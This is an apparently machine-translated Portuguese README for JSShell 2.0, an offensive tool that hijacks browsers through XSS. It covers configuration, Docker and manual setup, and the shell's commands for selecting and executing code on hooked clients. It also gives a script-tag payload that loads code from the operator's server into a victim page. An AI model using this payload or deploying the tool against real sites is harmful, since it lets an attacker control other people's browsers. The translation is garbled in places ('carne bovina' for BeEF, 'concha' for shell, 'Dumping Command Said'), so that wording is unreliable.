JSShell

Jsshell 2.0

Um shell JavaScript interativo baseado na Web. Foi criado inicialmente para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Essa ferramenta pode ser facilmente anexada ao XSS (carga de scripts transversais) para obter a execução do código remoto do navegador (semelhante à estrutura de carne bovina).

A versão 2.0 é criada inteiramente do zero, introduzindo novos recursos interessantes, estabilidade e manutenção.

Versão: 2.0

Autor

Daniel Abeles.

Vídeo da concha

Características

• Suporte a vários clientes
• Os objetos DOM cíclicos suportam
• Scripts pré -vôo
• Fila de comando e contexto
• Extensível com plugins
• Tags injetáveis ​​via <script>
• Dumping Command Said a arquivo
• Paginação de conchas
• Suporte HTTPS!

Instalação e configuração

Arquivo de configuração

No diretório resources , atualize o arquivo config.json com a configuração desejada:

• Host de banco de dados - Se estiver executando com o método de implantação docker , escolha o host do banco de dados como db (que é o nome interno do host).
• URL de retorno - o URL que as solicitações seguirão. O arquivo shell.js faz algumas chamadas de AJAX para se registrar e pesquisar novos comandos. Normalmente, será http[s]://{YOUR_SERVER_IP}:{PORT} .
• Script de inicialização - Um script que é executado automaticamente quando o cliente Jsshell CLI é gerado.
• Domínio - Se você deseja gerar certificados TLS, este é o nome de domínio que o servidor usará.
• Também é possível apontar em um banco de dados remoto, se desejado.

Vamos criptografar

Agora, a Jsshell suporta o TLS, o que significa que agora você pode gerar certificados TLS e alimentá -los com o servidor da Web. O servidor da Web inferirá o nome de domínio do arquivo config.json . Para criar o certificado, use o script create_cert.py na pasta scripts :

$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 

O campo de email é opcional.

Observe que o servidor da web deve estar inativo para que o script funcione corretamente. Neste ponto, geramos com sucesso nossos certificados! As únicas modificações que precisamos fazer são:

• No arquivo config.json , altere o esquema do campo URL para https .
• No arquivo docker-compose.yml altere a porta exposta do contêiner web para 443 .

Docker

Esta nova versão suporta a instalação e a execução de Jsshell via docker e docker-compose . Agora, para instalar e executar toda a estrutura Jsshell, basta executar:

$ ./scripts/start_docker_shell.sh

Isso irá:

• Inicie e crie o banco de dados em segundo plano
• Inicie o servidor de API da Web que lida com conexões de entrada em segundo plano
• Gerar uma nova instância do contêiner de interface da linha de comando JSShell

Regular

Se você ainda deseja usar o método antiquado de instalação, basta ter um banco de dados MongoDB em funcionamento e atualize o arquivo config.json residindo no diretório resources .

Eu recomendo usar um ambiente virtual com pyenv :

$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Ou usando virtualenv :

$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Em seguida, instale os requisitos:

$ pip install -r requirements.txt

Correndo

Se você usou o método docker , não há necessidade de executar o procedimento a seguir.

Servidor da web

Caso contrário, depois de termos a configuração do banco de dados, precisamos iniciar o servidor da API da Web. Para fazer, corra:

$ python manage.py web

Isso criará e executará um servidor da Web que ouve as conexões recebidas e serve nosso código Jsshell.

Concha

Agora, para iniciar a CLI da Jsshell, execute o mesmo script, mas agora com a bandeira shell :

$ python manage.py shell

Uso

Após a configuração e execução dos componentes necessários, insira o comando help para ver os comandos disponíveis:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

Fluxo

Jsshell suporta 2 métodos de operação:

1. Shell injetável (semelhante à estrutura de carne bovina)
2. Shell hospedado (para depuração)

Concha injetável

Semelhante a outras estruturas de controle XSS (como a carne bovina), o Jsshell é capaz de gerenciar explorações XSS bem -sucedidas. Por exemplo, se você puder injetar uma tag script , injete o seguinte recurso na sua carga útil e um novo cliente aparecerá em seu console:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell hospedado

Se você deseja depurar navegadores exóticos e esotéricos, basta navegar para http[s]://{YOUR_SERVER_IP}:{PORT}/ e um novo cliente aparecerá no seu cliente jsshell cli. Agora é degível através de nosso console jsshell.

Créditos

Canop for json.prune

Use -o por sua própria responsabilidade e risco.